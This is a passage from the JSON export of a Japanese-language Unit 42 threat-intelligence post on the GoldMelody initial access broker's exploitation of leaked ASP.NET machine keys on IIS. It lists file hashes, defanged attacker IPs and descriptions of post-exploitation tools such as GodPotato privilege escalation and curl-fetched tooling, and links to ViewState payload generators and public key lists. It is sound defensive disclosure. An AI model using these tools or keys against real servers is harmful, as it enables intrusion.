href=\"https:\/\/start.paloaltonetworks.com\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">Unit 42\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8 \u30ec\u30b9\u30dd\u30f3\u30b9 \u30c1\u30fc\u30e0<\/a> \u307e\u3067\u3054\u9023\u7d61\u304f\u3060\u3055\u3044\u3002<\/p>\n<ul>\n<li>\u5317\u7c73: \u30d5\u30ea\u30fc\u30c0\u30a4\u30e4\u30eb: +1 (866) 486-4842 (866.4.UNIT42)<\/li>\n<li>\u82f1\u56fd: +44.20.3743.3660<\/li>\n<li>\u30e8\u30fc\u30ed\u30c3\u30d1\u304a\u3088\u3073\u4e2d\u6771: +31.20.299.3130<\/li>\n<li>\u30a2\u30b8\u30a2: +65.6983.8730<\/li>\n<li>\u65e5\u672c: +81.50.1790.0200<\/li>\n<li>\u30aa\u30fc\u30b9\u30c8\u30e9\u30ea\u30a2: +61.2.4062.7950<\/li>\n<li>\u30a4\u30f3\u30c9: 00080005045107<\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u672c\u8abf\u67fb\u7d50\u679c\u3092\u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9 (CTA) \u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u3066\u3044\u307e\u3059\u3002CTA\u306e\u4f1a\u54e1\u306f\u3001\u3053\u306e\u60c5\u5831\u3092\u5229\u7528\u3057\u3066\u9867\u5ba2\u306b\u5bfe\u3057\u3066\u8fc5\u901f\u306b\u4fdd\u8b77\u3092\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc \u30a2\u30af\u30bf\u30fc\u3092\u7d44\u7e54\u7684\u306b\u59a8\u5bb3\u3057\u307e\u3059\u3002<a href=\"https:\/\/www.cyberthreatalliance.org\" target=\"_blank\" rel=\"noopener\">\u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9<\/a>\u306b\u3064\u3044\u3066\u8a73\u7d30\u3092\u898b\u308b\u3002<\/p>\n<h2><a id=\"post-147220-_heading=h.frgx6oeriexw\"><\/a>\u4fb5\u5bb3\u306e\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc<\/h2>\n<p><strong>\u30ea\u30d5\u30ec\u30af\u30c6\u30a3\u30d6.NET \u30a2\u30bb\u30f3\u30d6\u30ea \u30cf\u30c3\u30b7\u30e5:<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">106506ebc7156be116fe5d2a4d662917ddbbfb286007b6ee7a2b01c9536b1ee4<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">87bd7e24af5f10fe1e01cfa640ce26e9160b0e0e13488d7ee655e83118d16697<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">55656f7b2817087183ceedeb4d9b78d3abee02409666bffbe180d6ea87ee20fb<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">18a90b3702776b23f87738b26002e013301f60d9801d83985a57664b133cadd1<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d5d0772cb90d54ac3e3093c1ea9fcd7b878663f7ddd1f96efea0725ce47d46d5<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">b3c085672ac34f1b738879096af5fcd748953116e319367e6e371034366eaeca<\/span><\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: \u69d8\u3005<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u7a2e\u985e: \u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb(DLL)<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: \u89b3\u6e2c\u3055\u308c\u305f\u30b3\u30f3\u30d1\u30a4\u30eb\u6e08\u307f\u30a2\u30bb\u30f3\u30d6\u30ea\u306e\u30cf\u30c3\u30b7\u30e5<\/li>\n<li>\u30e1\u30bd\u30c3\u30c9\u3092\u5b9f\u884c\u3059\u308b: \u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u6642\u306bIIS\u306b\u3088\u3063\u3066\u30ed\u30fc\u30c9<\/li>\n<\/ul>\n<p><strong>\u30c7\u30a3\u30b9\u30af\u306b\u6b8b\u3055\u308c\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5f8c\u306e\u30c4\u30fc\u30eb: <\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d4bfaf3fd3d3b670f585114b4619aaf9b10173c5b1e92d42be0611b6a9b1eff2<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">c1f66cadc1941b566e2edad0d1f288c93bf060eef383c79638306638b6cefdf8<\/span><\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u7a2e\u985e: \u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e:t<span style=\"font-family: 'courier new', courier, monospace;\">xpm.exe<\/span>\u307e\u305f\u306f<span style=\"font-family: 'courier new', courier, monospace;\">txp.exe<\/span>\u3068\u3044\u3046\u540d\u524d\u306e<a href=\"https:\/\/github.com\/4dogs-cn\/TXPortMap\" target=\"_blank\" rel=\"noopener\">TxPortMap<\/a><\/li>\n<li>\u5b9f\u884c\u65b9\u6cd5: <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">52a72f899991506d2b1df958dd8736f7baa26592d664b771c3c3dbaef8d3114a<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d3767be11d9b211e74645bf434c9a5974b421cb96ec40d856f4b232a5ef9e56d<\/span><\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u7a2e\u985e: \u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: <span style=\"font-family: 'courier new', courier, monospace;\">updf.exe<\/span>\u307e\u305f\u306fup\u3068\u3044\u3046\u540d\u524d\u306e.NET\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u306f\u3001GodPotato\u7279\u6a29\u6607\u683c\u30c6\u30af\u30cb\u30c3\u30af\u3092\u4f7f\u7528\u3057\u3066\u3001\u6607\u683c\u3057\u3001\u65b0\u3057\u3044\u30ed\u30fc\u30ab\u30eb\u7ba1\u7406\u8005\u3092\u4f5c\u6210\u3059\u308b\u304b\u3001<span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span>\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/li>\n<li>\u5b9f\u884c\u65b9\u6cd5: <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">f368ec59fb970cc23f955f127016594e2c72de168c776ae8a3f9c21681860e9c<\/span><\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u7a2e\u985e: ELF<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: Linux\u30db\u30b9\u30c8\u4e0a\u3067\u30e6\u30fc\u30b6\u304croot\u30e6\u30fc\u30b6\u3068\u3057\u3066\u30b3\u30de\u30f3\u30c9\u3084\u30d0\u30a4\u30ca\u30ea\u3092\u5b9f\u884c\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u3002curl\u7d4c\u7531\u3067\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3002<\/li>\n<\/ul>\n<p><strong>\u60aa\u7528IP\u30a2\u30c9\u30ec\u30b9: <\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">67.43.234[.]96<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">213.252.232[.]237<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">98.159.108[.]69<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">190.211.254[.]95<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">109.176.229[.]89<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">169.150.198[.]91<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">194.5.82[.]11<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">138.199.21[.]243<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">194.114.136[.]95<\/span><\/li>\n<\/ul>\n<p>2024\u5e7410\u6708\u304b\u30892025\u5e742\u6708\u306b\u304b\u3051\u3066\u3001\u60aa\u610f\u306e\u3042\u308b<span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span>\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u542b\u3080\u60aa\u7528\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u4ee5\u4e0b\u306eIP\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002IIS\u30b5\u30fc\u30d0\u30fc\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u3068\u3059\u308b\u3053\u308c\u3089\u306e\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u306eHTTP\/s\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u8abf\u3079\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p><strong>\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30fc\u306e\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0\u3001\u30dd\u30b9\u30c8\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30c4\u30fc\u30eb:<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">195.123.240[.]233<\/span><\/li>\n<\/ul>\n<p>2025\u5e741\u6708\u304b\u30892\u6708\u306b\u304b\u3051\u3066\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306fWindows\u4e0a\u306ecurl\u3092\u4ecb\u3057\u3066\u3053\u306e\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u30c4\u30fc\u30eb\u3092\u5f15\u304d\u51fa\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-147220-_heading=h.vwbjqkeq3jy4\"><\/a>\u305d\u306e\u4ed6\u306e\u8cc7\u6599<\/h2>\n<ul>\n<li><a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">\u516c\u958b\u3055\u308c\u305fASP.NET\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4f7f\u7528\u3057\u305f\u30b3\u30fc\u30c9 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u653b\u6483 <\/a>\u2013 Microsoft Security Blog<\/li>\n<li><a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/resolving-view-state-message-authentication-code-mac-errors-6c0e9fd3-f8a8-c953-8fbe-ce840446a9f3#ID0EDH\" target=\"_blank\" rel=\"noopener\">View State\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u8a8d\u8a3c\u30b3\u30fc\u30c9(MAC)\u30a8\u30e9\u30fc\u306e\u89e3\u6c7a<\/a> \u2013Microsoft\u30b5\u30dd\u30fc\u30c8<\/li>\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/dotnet\/articles\/ms972976(v=msdn.10)?redirectedfrom=MSDN\" target=\"_blank\" rel=\"noopener\">ASP.NET\u306e\u30d3\u30e5\u30fcView State\u306e\u89e3\u8aac<\/a> - Microsoft<\/li>\n<li><a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\">View State: \u7a4d\u6975\u7684\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u30d1\u30c3\u30c1\u3092\u5f53\u3066\u3089\u308c\u306a\u3044IIS\u306e\u6c38\u9060\u306e\u4e00\u65e5<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ysoserial\/Generators\/XamlAssemblyLoadFromFileGenerator.cs\" target=\"_blank\" rel=\"noopener\">XamlAssemblyLoadFromFileGenerator.cs<\/a> \u2013 GitHub<\/li>\n<li><a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ysoserial\/Plugins\/ViewStatePlugin.cs\" target=\"_blank\" rel=\"noopener\">ViewStatePlugin.cs<\/a> \u2013 GitHub<\/li>\n<li><a href=\"https:\/\/github.com\/NotSoSecure\/Blacklist3r\/blob\/master\/MachineKey\/AspDotNetWrapper\/AspDotNetWrapper\/Resource\/MachineKeys.txt\" target=\"_blank\" rel=\"noopener\">GitHub - MachineKeys.txt<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/microsoft\/mstic\/blob\/master\/RapidReleaseTI\/MachineKeys.csv\" target=\"_blank\" rel=\"noopener\">mstic\/RapidReleaseTI\/MachineKeys.csv at master<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/BeichenDream\/GodPotato\" target=\"_blank\" rel=\"noopener\">GitHub - BeichenDream\/GodPotato<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/4dogs-cn\/TXPortMap\" target=\"_blank\" rel=\"noopener\">GitHub - 4dogs-cn\/TXPortMap:TianXiang\u304b\u3089\u30dd\u30fc\u30c8 \u30b9\u30ad\u30e3\u30ca\uff06\u30d0\u30ca\u30fc\u8b58\u5225<\/a><\/li>\n<li><a href=\"https:\/\/www.secureworks.com\/research\/gold-melody-profile-of-an-initial-access-broker\" target=\"_blank\" rel=\"noopener\">GOLD MELODY:\u30a4\u30cb\u30b7\u30e3\u30eb \u30a2\u30af\u30bb\u30b9 \u30d6\u30ed\u30fc\u30ab\u30fc\u306e\u30d7\u30ed\u30d5\u30a1\u30a4\u30eb\uff5cSecureworks<\/a><\/li>\n<li><a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/unc961-multiverse-financially-motivated\" target=\"_blank\" rel=\"noopener\">\u30de\u30f3\u30c7\u30a3\u30a2\u30f3\u30c8\u306e\u30de\u30eb\u30c1\u30d0\u30fc\u30b9\u306b\u304a\u3051\u308bUNC961:\u91d1\u92ad\u7684\u52d5\u6a5f\u306b\u57fa\u3065\u304f\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3068\u306e3\u3064\u306e\u906d\u9047<\/a><\/li>\n<li><a href=\"https:\/\/portswigger.net\/kb\/issues\/00400600_asp-net-viewstate-without-mac-enabled\" target=\"_blank\" rel=\"noopener\">MAC\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u306a\u3044ASP.NET ViewState - PortSwigger<\/a><\/li>\n<li><a href=\"https:\/\/www.crowdstrike.com\/en-us\/blog\/falcon-overwatch-detects-iceapple-framework\/\" target=\"_blank\" rel=\"noopener\">Falcon OverWatch\u304c\u65b0\u3057\u3044IceApple\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u691c\u51fa\uff5cCrowdStrike<\/a><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6d41\u51fa\u3057\u305fASP.NET\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u60aa\u7528\u3057\u305f IAB\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5fb9\u5e95\u89e3\u8aac\u3002\u30b0\u30eb\u30fc\u30d7\u306e\u30a4\u30f3\u30d5\u30e9\u3068\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5206\u6790\u3057\u3001\u30d6\u30eb\u30fc \u30c1\u30fc\u30e0\u306b\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8\u3092\u516c\u958b\u3057\u307e\u3059\u3002<\/p>\n","protected":false},"author":366,"featured_media":145085,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4434,4431],"tags":[5233,9350,5547,5235,4943],"product_categories":[4441,4443,4446,4447,4448,4450,4465],"coauthors":[8472,4188],"class_list":["post-147220","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybercrime-ja","category-threat-actor-groups-ja","tag-golang-ja","tag-initial-access","tag-microsoft-ja","tag-web-server-ja","tag-web-shells-ja","product_categories-advanced-dns-security-ja","product_categories-advanced-url-filtering-ja","product_categories-cloud-delivered-security-services-ja","product_categories-cortex-ja","product_categories-cortex-xdr-ja","product_categories-cortex-xsiam-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>GoldMelody \u306e\u96a0\u3055\u308c\u305f\u30b3\u30fc\u30c9: \u30a4\u30cb\u30b7\u30e3\u30eb \u30a2\u30af\u30bb\u30b9 \u30d6\u30ed\u30fc\u30ab\u30fc\u306e\u30a4\u30f3\u30e1\u30e2\u30ea IIS \u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u660e\u3089\u304b\u306b<\/title>\n<meta name=\"description\" content=\"\u6d41\u51fa\u3057\u305fASP.NET\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u60aa\u7528\u3057\u305f IAB\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5fb9\u5e95\u89e3\u8aac\u3002\u30b0\u30eb\u30fc\u30d7\u306e\u30a4\u30f3\u30d5\u30e9\u3068\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5206\u6790\u3057\u3001\u30d6\u30eb\u30fc \u30c1\u30fc\u30e0\u306b\u91cd\u8981\u306a\u30dd\u30a4\u30f3\u30c8\u3092\u516c\u958b\u3057\u307e\u3059\u3002 \u6d41\u51fa\u3057\u305fASP.NET\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u60aa\u7528\u3057\u305f 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